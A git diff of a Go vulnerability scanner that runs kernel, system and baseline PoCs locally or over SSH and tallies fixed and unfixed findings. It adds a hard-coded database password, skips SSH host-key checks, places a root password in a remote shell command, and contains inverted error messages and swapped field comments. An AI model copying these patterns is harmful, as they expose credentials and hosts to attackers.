BaseLineNotFixedNums =BaseLineNotFixedNums+1
infoExist:="Baseline info: "+expvul.VICId+" exists"
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32, infoExist, 0x1B)
expvuls = append(expvuls, expvul)
}else{
BaseLineRepairedNums=BaseLineRepairedNums+1
}
} (v)
} // for _, v ...
/* */
wg.Wait()
/* */
BaseLineRepairedNums=BaseLineRepairedNums-BaseLineNotExecPocNums
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"=================Baseline Scan Results====================\n" , 0x1B)
fmt.Println("BaseLineExecPoc: ",BaseLineExecPoc)
fmt.Println("BaseLineRepairedNums: ",BaseLineRepairedNums)
fmt.Println("BaseLineNotFixedNums:",BaseLineNotFixedNums)
fmt.Println("BaseLineNotExecPocNums",BaseLineNotExecPocNums)
// TODO: should be type: ConfigCommon..
rp.RCExploredVulns = expvuls
/* */
rp.RCReportedAt = time.Now()
rp.RCElapsedTime = time.Since(rp.RCExploredTimeAt)
/*Exec result */
rp.RCExecPocNums = BaseLineExecPoc
rp.RCRepairedNums = BaseLineRepairedNums
rp.RCNotFixedNums = BaseLineNotFixedNums
rp.RCNotExecPocNums = BaseLineNotExecPocNums
return rp
}
@ -272,9 +306,16 @@ func
var expvuls []VulnInfoCommon
/* */
for _, v := range dtr.ExplorersKernel {
KernelExecPoc =KernelExecPoc+1
go func(v_ ExplorerKernel) {
defer wg.Done()
result:=dtr.KernelControl(v_)
if result==true{
KernelNotExecPocNums=KernelNotExecPocNums+1
return
}
expvul, rc := v_.Explore()
// TODO: is append expvul to expvuls according to rc
@ -284,23 +325,34 @@ func
lock_expvuls.Lock()
defer lock_expvuls.Unlock()
if len(expvul.VICId) !=0{
KernelNotFixedNums = KernelNotFixedNums + 1
expvuls = append(expvuls, expvul)
}else{
KernelRepairedNums = KernelRepairedNums + 1
}
} (v)
} // for _, v ...
/* */
wg.Wait()
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"==================Kernel Scan Results=====================\n" , 0x1B)
fmt.Println("KernelExecPoc: ",KernelExecPoc)
fmt.Println("KernelRepairedNums: ",KernelRepairedNums)
fmt.Println("KernelNotFixedNums:",KernelNotFixedNums)
fmt.Println("KernelNotExecPocNums",KernelNotExecPocNums)
// TODO: should be type: ConfigCommon..
rp.RCExploredVulns = expvuls
/* */
rp.RCReportedAt = time.Now()
rp.RCElapsedTime = time.Since(rp.RCExploredTimeAt)
/*Exec result */
rp.RCExecPocNums = KernelExecPoc
rp.RCRepairedNums = KernelRepairedNums
rp.RCNotFixedNums = KernelNotFixedNums
rp.RCNotExecPocNums = KernelNotExecPocNums
return rp
}
func
(dtr *doctor)GenmaiSystem() (rp *ReportSystem) {
rp = GetTemplateReportSystem()
@ -348,6 +400,7 @@ func
lock_expvuls := sync.Mutex{}
var expvuls []VulnInfoCommon
for _, v := range dtr.ExplorersSystem {
SystemExecPoc = SystemExecPoc + 1
go func(v_ ExplorerSystem) {
defer wg.Done()
@ -360,7 +413,10 @@ func
defer lock_expvuls.Unlock()
if len(expvul.VICId) !=0{
SystemNotFixedNums = SystemNotFixedNums + 1
expvuls = append(expvuls, expvul)
}else{
SystemRepairedNums = SystemRepairedNums + 1
}
} (v)
@ -368,11 +424,22 @@ func
/* */
wg.Wait()
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"==================System Scan Results=====================\n" , 0x1B)
fmt.Println("SystemExecPoc: ",SystemExecPoc)
fmt.Println("SystemRepairedNums: ",SystemRepairedNums)
fmt.Println("SystemNotFixedNums:",SystemNotFixedNums)
fmt.Println("SystemNotExecPocNums",SystemNotExecPocNums)
// TODO: should be type: ConfigCommon..
rp.RCExploredVulns = expvuls
/* */
rp.RCReportedAt = time.Now()
rp.RCElapsedTime = time.Since(rp.RCExploredTimeAt)
/*Exec result */
rp.RCExecPocNums = SystemExecPoc
rp.RCRepairedNums = SystemRepairedNums
rp.RCNotFixedNums = SystemNotFixedNums
rp.RCNotExecPocNums = SystemNotExecPocNums
return rp
}
@ -424,7 +491,7 @@ func
// dtr.PushExplorerWeb(exp.ConfigFile)
case EXP_TYPE_BASELINE:
for _, exp := range elc.ExplorerItems {
dtr.PushExplorerBaseLine(elc.ConfigFilePrefix + exp.ConfigFile, elc.RootPasswd)
dtr.PushExplorerBaseLine(elc.ConfigFilePrefix + exp.ConfigFile)
} // for exp ...
default:
A_DEBUG_ERROR("Unknow exp type!!")
@ -460,7 +527,6 @@ func
ek := ExplorerKernel{}
ek.Setup(&ConfigParserYAML{}, &ExplorerConfigKernel{})
ek.LoadConfig(configfile)
ek.SetupSandbox(&sandbox.SandboxDefault{})
config, rc := ek.GetExplorerConfigKernel()
@ -514,7 +580,7 @@ func
}
func
(dtr *doctor)PushExplorerBaseLine(configfile string, passwd string) error {
(dtr *doctor)PushExplorerBaseLine(configfile string) error {
// TODO: need to test
eb := ExplorerBaseLine{}
eb.Setup(&ConfigParserYAML{}, &ExplorerConfigBaseLine{})
@ -525,7 +591,44 @@ func
return rc
} // if (nil != ...
eb.Passwd = passwd
eb.Passwd = dtr.Passwd
dtr.ExplorersBaseLine[config.Id] = eb
return nil
}
func
(dtr *doctor)SetPasswd(passwd string){
dtr.Passwd = passwd
}
func(dtr *doctor)ExecEmpowerment(path string){
cmd := exec.Command("chmod", "a+x", path)
err := cmd.Run()
if err != nil {
fmt.Println("cmd.Run() failed with %s\n", err)
log.Fatalf("cmd.Run() failed with %s\n", err)
}
}
func
(dtr *doctor)BaseLineControl(v interface{})(bool){
IfRootPower:=v.(ExplorerBaseLine).ExplorerCommon.EcConfig.(*ExplorerConfigBaseLine).Power
if IfRootPower=="root" && dtr.Passwd ==""{
return true
}else{
return false
}
}
func
(dtr *doctor)KernelControl(v interface{})(bool){
PocHazardLevel := v.(ExplorerKernel).ExplorerCommon.EcConfig.(*ExplorerConfigKernel).PocHazardLevel
KernelExecDir := v.(ExplorerKernel).ExplorerCommon.EcConfigFilePrefix
config := v.(ExplorerKernel).ExplorerCommon.EcConfig.(*ExplorerConfigKernel).SiteRequests.ImArray
var KernelExecFile string
for _, im := range config{
KernelExecFile = KernelExecDir+"/"+im.Exec
}
dtr.ExecEmpowerment(KernelExecFile)
if PocHazardLevel !="low"{
return true
}else{
return false
}
}

View File

@ -187,7 +187,6 @@ func
/* */
return VulnInfoCommon{}, rc
}
///////////////
// starting explore
var vul string

View File

@ -55,6 +55,7 @@ ExplorerSystem struct {
EsSandbox sandbox.SandboxBase
}
var errMap = map[string]string{
"0":"signal: segmentation fault (core dumped)",
"1":"signal: aborted (core dumped)",

View File

@ -4,6 +4,7 @@ import (
"github.com/pkg/sftp"
"golang.org/x/crypto/ssh"
"io/ioutil"
"encoding/json"
// "io"
"strings"
"path/filepath"
@ -24,6 +25,14 @@ type ClientConfig struct {
LastResult string //最近一次运行的结果
}
type Json struct {
Time string `json:"RCExploredTimeAt"`
ExecPocNums int `json:"RCExecPocNums"`
RCRepairedNums int `json:"RCRepairedNums"`
RCNotFixedNums int `json:"RCNotFixedNums"`
RCNotExecPocNums int `json:"RCNotExecPocNums"`
}
// Create ssh/ftp client
func (cliConf *ClientConfig) createClient(host string, port int, username, password string) {
var (
@ -122,14 +131,20 @@ func (cliConf *ClientConfig) uploadFile(localFilePath string, remotePath string)
// Get remote report
func (cliConf *ClientConfig) Download(srcPath, dstPath string){
srcFile, _ := cliConf.sftpClient.Open(srcPath) //remote
dstFile, _ := os.Create(dstPath) //loacl
srcFile, err:= cliConf.sftpClient.Open(srcPath) //remote
if err != nil {
fmt.Println(err)
}
dstFile, err:= os.Create(dstPath) //loacl
if err != nil {
fmt.Println(err)
}
defer func() {
_ = srcFile.Close()
_ = dstFile.Close()
}()
if _, err := srcFile.WriteTo(dstFile); err != nil {
log.Fatalln("error occurred", err)
fmt.Println("error occurred", err)
}
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32,"File download completed\n" , 0x1B)
}
@ -178,7 +193,20 @@ func hostKeyCallback(hostname string, remote net.Addr, key ssh.PublicKey) error
return nil
}
func RemoteScan(host string,port int,user string,passwd string,RemoteArg []string) {
//文件检测是否存在
func PathExists(path string)(bool,error){
_,err := os.Stat(path)
if err == nil{
return true,nil
}
//isnotexist来判断是不是不存在的错误
if os.IsNotExist(err){ //如果返回的错误类型使用os.isNotExist()判断为true说明文件或者文件夹不存在
return false,nil
}
return false,err//如果有错误了,但是不是不存在的错误,所以把这个错误原封不动的返回
}
func RemoteScan(host string,port int,user string,passwd string,RemoteArg []string,RootPasswd string) {
cliConf := new(ClientConfig)
cliConf.createClient(host, port, user, passwd)
@ -215,7 +243,7 @@ func RemoteScan(host string,port int,user string,passwd string,RemoteArg []strin
}
hostname=strings.TrimSpace(hostname)
hostname=strings.Replace(hostname, " ", "_", -1)
commandShell:="cd genmai/src/ ;" + "./main " + command + "-OutPutJson="+hostname
commandShell:="cd genmai/src/ ;" + "./main " + command + "-OutPutJson="+hostname + " -rootpwd=" + RootPasswd
result:=cliConf.RunShell(commandShell)
fmt.Println(result)
// //从服务器中下载文件
@ -227,5 +255,28 @@ func RemoteScan(host string,port int,user string,passwd string,RemoteArg []strin
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,loaclPath , 0x1B)
cliConf.Download(remotePath, loaclPath) //文件下载完毕
}
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"========================END==============================\n" , 0x1B)
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"=====================Scan Results========================\n" , 0x1B)
for i:=0;i<len(RemoteArg);i++{
loaclPath:="../data/Report/"+RemoteArg[i]+"_"+hostname+".json"
jsonFile, err := os.Open(loaclPath)
if err != nil {
fmt.Println(err)
}
defer jsonFile.Close()
jsonData, err := ioutil.ReadAll(jsonFile)
if err!= nil {
fmt.Println("error reading json file")
}
var jsonvul Json
json.Unmarshal(jsonData,&jsonvul)
v:=RemoteArg[i]+":"
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33, v, 0x1B)
fmt.Println("Time : ",jsonvul.Time)
fmt.Println("Total number of POCs executed : ",jsonvul.ExecPocNums)
fmt.Println("Number of vulnerabilities fixed : ",jsonvul.RCRepairedNums)
fmt.Println("Number of unfixed vulnerabilities : ",jsonvul.RCNotFixedNums)
fmt.Println("Number of POCs not executed : ",jsonvul.RCNotExecPocNums)
}
fmt.Printf("\n%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"========================END==============================\n" , 0x1B)
}

View File

@ -32,6 +32,10 @@ GetTemplateReportBaseLine() (*ReportBaseLine) {
RCContainer: "RCContainer",
/* */
RCExploredTimeAt: time.Now(),
RCExecPocNums: 0,
RCRepairedNums: 0,
RCNotFixedNums: 0,
RCNotExecPocNums: 0,
RCExploredMode: "RCExploredMode",
RCExploredVersion: "RCExploredVersion",
RCExploredRevision: "RCExploredRevision",

View File

@ -86,6 +86,10 @@ ReportCommon struct {
RCPackages string // TBD: type
RCSrcPackages string // TBD: type
RCOptional string // TBD: type
RCExecPocNums int //执行poc总数
RCRepairedNums int //未修复漏洞个数
RCNotFixedNums int //已修复漏洞个数
RCNotExecPocNums int //未执行poc个数
}
type

View File

@ -60,6 +60,10 @@ GetTemplateReportKernel() (*ReportKernel) {
RCContainer: "RCContainer",
/* */
RCExploredTimeAt: time.Now(),
RCExecPocNums: 0,
RCRepairedNums: 0,
RCNotFixedNums: 0,
RCNotExecPocNums: 0,
RCExploredMode: "RCExploredMode",
RCExploredVersion: "RCExploredVersion",
RCExploredRevision: "RCExploredRevision",

View File

@ -63,6 +63,10 @@ GetTemplateReportSystem() (*ReportSystem) {
RCContainer: "RCContainer",
/* */
RCExploredTimeAt: time.Now(),
RCExecPocNums: 0,
RCRepairedNums: 0,
RCNotFixedNums: 0,
RCNotExecPocNums: 0,
RCExploredMode: "RCExploredMode",
RCExploredVersion: "RCExploredVersion",
RCExploredRevision: "RCExploredRevision",

View File

@ -1,38 +0,0 @@
package genmai
import(
"fmt"
"bytes"
"os/exec"
"os"
"strings"
)
func Update(){
currentDir, err:= os.Getwd()
if err != nil {
panic(err)
} else {
}
currentDir=currentDir+"/../"
os.Chdir(currentDir)
currentDir, err = os.Getwd()
if err != nil {
panic(err)
} else {
cmd := exec.Command("git","pull")
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout // 标准输出
cmd.Stderr = &stderr // 标准错误
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
if len(errStr)!=0{
fmt.Printf(errStr)
}
outStr=strings.TrimSpace(outStr)
if err != nil {
fmt.Println("Updte Err:", err)
}
fmt.Println(outStr)
}
}

BIN
src/main

Binary file not shown.

View File

@ -8,7 +8,9 @@ import (
"fmt"
"encoding/json"
"os"
"bytes"
"os/exec"
"strings"
genmai "main/genmai"
"main/tools/SSHExplosion"
"main/tools/FastScan"
@ -16,41 +18,42 @@ import (
// gcon "main/gconsole"
)
type Args struct{
ParserNum int //协程数
System string //执行系统漏洞检测
Web string //Web漏洞检测
Kernel string //内核漏洞检测
Fuzz string //Fuzz
BaseLine string //基线检测
Update string //更新软件
Docs string //生成报告
PoolStatNum int //启动协程任务数
IP string //web 制定IP
MD string //生成MD文件
RemoteAssessment string //远程检测,所需参数在RAVUL中
WKPWD string //弱口令生成,所需参数在WKPWDVUL结构体中
SSHBurst string //SSH爆破
Nmap string //Nmap模块,端口和IP放在RAVUL中
Fofa string //fofa接口调用需要输入查询命令
FastScan string //快速扫描模式/版本匹配
OutPutJson string //输出json格式结果
ParserNum int //协程数
System string //执行系统漏洞检测
Web string //Web漏洞检测
Kernel string //内核漏洞检测
Fuzz string //Fuzz
BaseLine string //基线检测
Update string //更新软件
Docs string //生成报告
PoolStatNum int //启动协程任务数
IP string //web 制定IP
MD string //生成MD文件
RemoteAssessment string //远程检测,所需参数在RAVUL中
WKPWD string //弱口令生成,所需参数在WKPWDVUL结构体中
SSHBurst string //SSH爆破
Nmap string //Nmap模块,端口和IP放在RAVUL中
Fofa string //fofa接口调用需要输入查询命令
FastScan string //快速扫描模式/版本匹配
OutPutJson string //输出json格式结果
RootPasswd string //Root密码
}
type FofaCommand struct{
FofaCom string
FofaCom string
}
type RAVUL struct{
Host string //主机IP
User string //用户名
Password string //密码
Port string //端口
Host string //主机IP
User string //用户名
Password string //密码
Port string //端口
}
type WKPWDVUL struct{
CompanyName string //公司名
Name string //名字
Nums string //特殊数字
CompanyName string //公司名
Name string //名字
Nums string //特殊数字
}
func main(){
@ -90,11 +93,11 @@ func main(){
//识别参数,执行模块
flag.IntVar(&args.ParserNum, "poolNums", 100,
"设置协程的数量默认数量为0最大数量为1000")
"设置协程的数量,默认数量为0,最大数量为1000")
flag.StringVar(&args.Web, "web", "false",
"使用web漏洞的验证模块可联合其他模块使用")
"使用web漏洞的验证模块,可联合其他模块使用")
flag.StringVar(&args.IP, "ip", "false",
"设置ip可设置ip段进行验证")
"设置ip,可设置ip段进行验证")
flag.StringVar(&args.System, "system", "false",
"使用系统漏洞的验证模块,可联合其他模块使用")
flag.StringVar(&args.Kernel, "kernel", "false",
@ -111,6 +114,8 @@ func main(){
flag.StringVar(&RAV.Password, "passwd", "false", "远程登录密码")
//需要高权限执行时所需要root密码
flag.StringVar(&args.RootPasswd, "rootpwd", "", "需要高权限执行时所需要root密码")
//弱密码生成模块
WK := flag.Bool("WKPWD", false,
@ -141,7 +146,7 @@ func main(){
//
All := flag.Bool("all", false,
"只扫描system,kernel的所有poc以及检测baselin模块不可联合其他参数使用")
"只扫描system,kernel的所有poc以及检测baselin模块,不可联合其他参数使用")
Update := flag.Bool("update", false,
"更新程序到最新版本,不可联合其他参数使用")
@ -149,6 +154,9 @@ func main(){
//flag解析
flag.Parse()
//Use the root password to perform higher authority detection
genmai.DoctorIns().SetPasswd(args.RootPasswd)
//将插件模块的值存放到数组中
//PWDList :=[...]string{WKV.CompanyName,WKV.Name,WKV.Nums}
//poolNums := strconv.Itoa(args.ParserNum)
@ -179,6 +187,7 @@ func main(){
args.Kernel=="false" &&
args.Web=="false" &&
args.BaseLine=="false" &&
args.FastScan=="false" &&
args.Update!="true" &&
sAll!="true" &&
help!="true" ) {
@ -218,6 +227,7 @@ func emmit(args Args, RAV RAVUL, WKV WKPWDVUL, FC FofaCommand) {
RemoteMap["system"]= args.System
RemoteMap["kernel"]= args.Kernel
RemoteMap["baseline"]= args.BaseLine
RemoteMap["RootPasswd"]= args.RootPasswd
genmaiRemote(RemoteMap)
}else{
@ -278,10 +288,12 @@ func emmit(args Args, RAV RAVUL, WKV WKPWDVUL, FC FofaCommand) {
if ("true" == args.Fofa) {
genmaiFofaApi(args.Fofa,FC.FofaCom)
}
if ("true" == args.FastScan) {
genmaiSystemFastScan(args.FastScan)
}
if ("true" == args.Update){
Update()
}
} // if args.RemoteAssessment=="true" ... else ...
}
@ -295,13 +307,26 @@ func
genmaiSystem(args Args) {
createfile_fun := func (rp *genmai.ReportSystem,
fileName string ) {
path:="../data/Report/"+"system_"+fileName+".json"
Bool ,err:=PathExists(path)
if err != nil {
fmt.Println(err)
return
}
if Bool==true {
err := os.Remove(path)
if err != nil {
log.Println("File overwritten successfully")
} else {
log.Println("File overwrite failed")
}
}
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
fmt.Println("open file failed,err:",err)
return
}
defer file.Close()
jsonVul, err := json.MarshalIndent(rp, "", " ")
if err != nil {
@ -318,6 +343,9 @@ genmaiSystem(args Args) {
rp := genmai.DoctorIns().GenmaiSystem()
if len(rp.RCExploredVulns)==0{
fmt.Println("System info: No vulnerability")
if jout !="null"{
createfile_fun(rp,jout)
}
}else if jout !="null"{
createfile_fun(rp,jout)
}
@ -339,28 +367,49 @@ genmaiSystem(args Args) {
func
genmaiKernel(args Args) {
// createfile_fun := func (rp *genmai.ReportKernel,fileName string) {
// path:="../data/Report/"+"sernel_:"+fileName+".json"
// file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
// if err != nil {
// fmt.Println("open file failed,err:",err)
// return
// }
//
// defer file.Close()
// jsonVul, err := json.MarshalIndent(rp, "", " ")
// if err != nil {
// fmt.Println("json err ", err)
// }
// file.Write([]byte(jsonVul)) //写入字节切片数据
// }
createfile_fun := func (rp *genmai.ReportKernel,fileName string) {
path:="../data/Report/"+"kernel_"+fileName+".json"
Bool ,err:=PathExists(path)
if err != nil {
fmt.Println(err)
return
}
if Bool==true {
err := os.Remove(path)
if err != nil {
log.Println("File overwritten successfully")
} else {
log.Println("File overwrite failed")
}
}
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
fmt.Println("open file failed,err:",err)
return
}
defer file.Close()
jsonVul, err := json.MarshalIndent(rp, "", " ")
if err != nil {
fmt.Println("json err ", err)
}
file.Write([]byte(jsonVul)) //写入字节切片数据
}
fun := func (jout string) {
genmai.DoctorIns().Reset()
genmai.DoctorIns().LoadExplorersListConfig("../data/KernelPocs/KernelPocs.yaml")
genmai.A_DEBUG_INFO(">>Genmai Kernel>>")
genmai.DoctorIns().GenmaiKernel()
rp := genmai.DoctorIns().GenmaiKernel()
if len(rp.RCExploredVulns)==0{
fmt.Println("Kernel info: No vulnerability")
if jout !="null"{
createfile_fun(rp,jout)
}
}else if jout !="null"{
createfile_fun(rp,jout)
}
}
if args.Kernel=="All" || args.Kernel=="all"{
@ -403,11 +452,23 @@ genmaiWeb(args Args) {
}
}
}
func
genmaiBaseLine(args Args) {
createfile_fun := func (rp *genmai.ReportBaseLine, fileName string){
path:="../data/Report/"+"baseline_"+fileName+".json"
Bool ,err:=PathExists(path)
if err != nil {
fmt.Println(err)
return
}
if Bool==true {
err := os.Remove(path)
if err != nil {
log.Println("File overwritten successfully")
} else {
log.Println("File overwrite failed")
}
}
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
fmt.Println("open file failed,err:",err)
@ -430,6 +491,9 @@ genmaiBaseLine(args Args) {
rp:=genmai.DoctorIns().GenmaiBaseline()
if len(rp.RCExploredVulns)==0{
fmt.Println("BaseLine info: No vulnerability")
if jout !="null"{
createfile_fun(rp,jout)
}
}else if jout !="null"{
createfile_fun(rp,jout)
}
@ -448,7 +512,18 @@ genmaiBaseLine(args Args) {
}
}
}
//文件检测是否存在
func PathExists(path string)(bool,error){
_,err := os.Stat(path)
if err == nil{
return true,nil
}
//isnotexist来判断是不是不存在的错误
if os.IsNotExist(err){ //如果返回的错误类型使用os.isNotExist()判断为true说明文件或者文件夹不存在
return false,nil
}
return false,err//如果有错误了,但是不是不存在的错误,所以把这个错误原封不动的返回
}
//远程参数解析
func genmaiRemote(oldRemoteMap interface{})(){
RemoteMap:=oldRemoteMap.(map[string]string)
@ -475,7 +550,8 @@ func genmaiRemote(oldRemoteMap interface{})(){
if RemoteMap["baseline"]=="all" || RemoteMap["baseline"]=="All"{
RemoteArg =append(RemoteArg,"baseline")
}
RemoteCheck.RemoteScan(Host,PortInt,User,Password,RemoteArg)
RootPasswd:=RemoteMap["RootPasswd"]
RemoteCheck.RemoteScan(Host,PortInt,User,Password,RemoteArg,RootPasswd)
}
}
}
@ -596,6 +672,35 @@ genmaiSystemFastScan(scan string) {
return
}
func Update(){
currentDir, err:= os.Getwd()
if err != nil {
panic(err)
} else {
}
currentDir=currentDir+"/../"
os.Chdir(currentDir)
currentDir, err = os.Getwd()
if err != nil {
panic(err)
} else {
cmd := exec.Command("git","pull")
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout // 标准输出
cmd.Stderr = &stderr // 标准错误
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
if len(errStr)!=0{
fmt.Printf(errStr)
}
outStr=strings.TrimSpace(outStr)
if err != nil {
fmt.Println("Updte Err:", err)
}
fmt.Println(outStr)
}
}
// genmai plug-in modules
////////////////////////////////////////////////////////////////

View File

@ -1,165 +1,41 @@
package main
import (
"fmt"
"github.com/pkg/sftp"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"os"
"path"
"path/filepath"
"time"
"fmt"
"time"
)
type currentDirInfo struct {
currentDirs []string
currentFiles []string
}
func getCurrentDir(path string) (currentDirInfo, error) {
infos, err := ioutil.ReadDir(path)
if err != nil {
return currentDirInfo{}, nil
}
var currentDirs []string
var currentFiles []string
for _, info := range infos {
fmt.Printf("Name:%-30s Size:%-10d字节 Modtime:%s IsDir:%v\n", info.Name(), info.Size(), info.ModTime().Format("2006-01-02 03:04:05"), info.IsDir())
abs, err := filepath.Abs(info.Name())
if err != nil {
return currentDirInfo{}, nil
}
if info.IsDir() {
currentDirs = append(currentDirs, abs)
} else {
currentFiles = append(currentFiles, abs)
}
}
fmt.Printf("=======================当前文件夹==============================\n")
for _, v := range currentDirs {
fmt.Printf("当前文件夹:%s\n", v)
}
fmt.Printf("========================当前文件=============================\n")
for _, v := range currentFiles {
fmt.Printf("当前文件:%s\n", v)
}
return currentDirInfo{currentDirs: currentDirs, currentFiles: currentFiles}, nil
}
func hostKeyCallback(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
}
//获取一个STFP客户端连接
func connect(user, password, host string, port int) (*sftp.Client, error) {
auth := []ssh.AuthMethod{ssh.Password(password)}
config := &ssh.ClientConfig{
User: user,
Auth: auth,
Timeout: 30 * time.Second,
HostKeyCallback: hostKeyCallback,
}
// connect to ssh
addr := fmt.Sprintf("%s:%d", host, port)
client, err := ssh.Dial("tcp", addr, config)
if err != nil {
return nil, err
}
// create sftp client
sftpClient, err := sftp.NewClient(client)
if err != nil {
return nil, err
}
fmt.Printf("连接%s@%s:%d成功\n", user, host, port)
return sftpClient, nil
}
//上传文件
func uploadFile(sftpClient *sftp.Client, localFilename string, remotePath string, ch chan string) {
file, err := os.Open(localFilename)
if err != nil {
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
}
defer func(srcFile *os.File) {
err := srcFile.Close()
if err != nil {
}
}(file)
var remoteFileName = path.Join(remotePath, filepath.Base(localFilename))
err = sftpClient.MkdirAll(remotePath)
if err != nil {
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
return
}
dstFile, err := sftpClient.Create(remoteFileName)
if err != nil {
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
return
}
defer func(dstFile *sftp.File) {
err := dstFile.Close()
if err != nil {
}
}(dstFile)
ff, err := ioutil.ReadAll(file)
if err != nil {
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
return
}
_, err = dstFile.Write(ff)
if err != nil {
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
return
}
ch <- fmt.Sprintf("上传文件成功, 保存到:%s\n", remoteFileName)
}
func main() {
user := "root"
password := ""
host := "127.0.0.1"
port := 22
remoteFilePath := "/home/tmp"
// 进度条长度
barLength := 50
info, err := getCurrentDir(".")
if err != nil {
return
}
currentFiles := info.currentFiles
currentDirs := info.currentDirs
fmt.Println(currentDirs,currentFiles)
client, err := connect(user, password, host, port)
if err != nil {
fmt.Println(fmt.Sprintf("连接%s:%d失败, err:%s", host, port, err))
return
}
// 循环打印进度条
for i := 0; i <= barLength; i++ {
// 计算进度条百分比
percent := i * 100 / barLength
var chs = make(chan string, len(currentFiles))
for _, file := range currentFiles {
fmt.Println(file)
go uploadFile(client, file, remoteFilePath, chs)
}
count := 0
for c := range chs {
count++
fmt.Printf("上传情况:%s\n", c)
if count == len(currentFiles) {
return
}
}
// 计算已完成和未完成进度条的长度
completedLength := i
uncompletedLength := barLength - i
// 使用ANSI转义序列清空当前行
fmt.Print("\r\x1b[K")
// 输出进度条
fmt.Printf("[%s%s] %d%%", getBar(completedLength), getBar(uncompletedLength), percent)
// 等待一段时间
time.Sleep(time.Millisecond * 100)
}
fmt.Println()
}
// getBar 返回指定长度的进度条字符串
func getBar(length int) string {
bar := ""
for i := 0; i < length; i++ {
bar += "="
}
return bar
}

View File

@ -11,13 +11,14 @@ import (
"os/exec"
"strconv"
"regexp"
"time"
// "reflect"
)
var (
dbhostsip = "172.17.20.121:3306"
dbusername = "root"
dbpassword = ""
dbpassword = "Kylin123-"
dbname = "kylincve"
)
@ -34,6 +35,11 @@ var (
version0 = 0
version1 = 1
version2 = 2
VbNums = 0
VbLevel_hight = 0
VbLevel_mid = 0
VbLevel_low = 0
VbLevel_ignore =0
)
func StringStrip(str string) int {
if str == "" {
@ -155,7 +161,9 @@ func fastScan(dpkgInfo []string){
stmt, err := db.Prepare(sqlStr)
checkerr(err)
defer stmt.Close()
for i:=0;i<len(dpkgInfo);i++{
for i:=0;i<=len(dpkgInfo)-1;i++{
barLength := len(dpkgInfo)-1
ProgressBar(barLength,i)
if i & 1 == 0 {
rows, err := stmt.Query(dpkgInfo[i])
checkerr(err)
@ -166,13 +174,33 @@ func fastScan(dpkgInfo []string){
dpkgInfoStr:=dpkgInfo[i+1]
result:=PushCompareVersion(s.cve_no,dpkgInfoStr,s.ubuntu_v10_1_edition)
if result==2{
FastScanResult:="ID:"+s.cve_no+" level:"+s.package_name+" Role:"+s.role_level+" Security_Version:"+s.ubuntu_v10_1_edition+" Current_Version:"+dpkgInfoStr
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32, FastScanResult, 0x1B)
// FastScanResult:="ID:"+s.cve_no+" level:"+s.package_name+" Role:"+s.role_level+" Security_Version:"+s.ubuntu_v10_1_edition+" Current_Version:"+dpkgInfoStr
// fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32, FastScanResult, 0x1B)
VbNums = VbNums+1
if s.package_name == "高危"{
VbLevel_hight = VbLevel_hight + 1
}
if s.package_name == "中危"{
VbLevel_mid = VbLevel_mid + 1
}
if s.package_name == "低危"{
VbLevel_low = VbLevel_low + 1
}
if s.package_name == "已忽略"{
VbLevel_ignore = VbLevel_ignore + 1
}
}
}
rows.Close()
}
}
fmt.Println()
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"=====================Scan Results======================\n" , 0x1B)
fmt.Println("共计漏洞:",VbNums)
fmt.Println("高危漏洞:",VbLevel_hight)
fmt.Println("中危漏洞:",VbLevel_mid)
fmt.Println("低危漏洞:",VbLevel_low)
fmt.Println("忽略漏洞:",VbLevel_ignore)
}
@ -215,4 +243,22 @@ func GetdpkgInfo(){
dpkgInfo = append(dpkgInfo[5:])
fastScan(dpkgInfo)
}
}
func ProgressBar(barLength int ,i int){
// 计算进度条百分比
percent := i * 100 / barLength
fmt.Print("\r\x1b[K")
// 输出进度条
fmt.Printf("[%s%s] %d%%", getBar(20), getBar(20), percent)
// 等待一段时间
time.Sleep(time.Millisecond * 100)
}
// getBar 返回指定长度的进度条字符串
func getBar(length int) string {
bar := ""
for i := 0; i < length; i++ {
bar += "="
}
return bar
}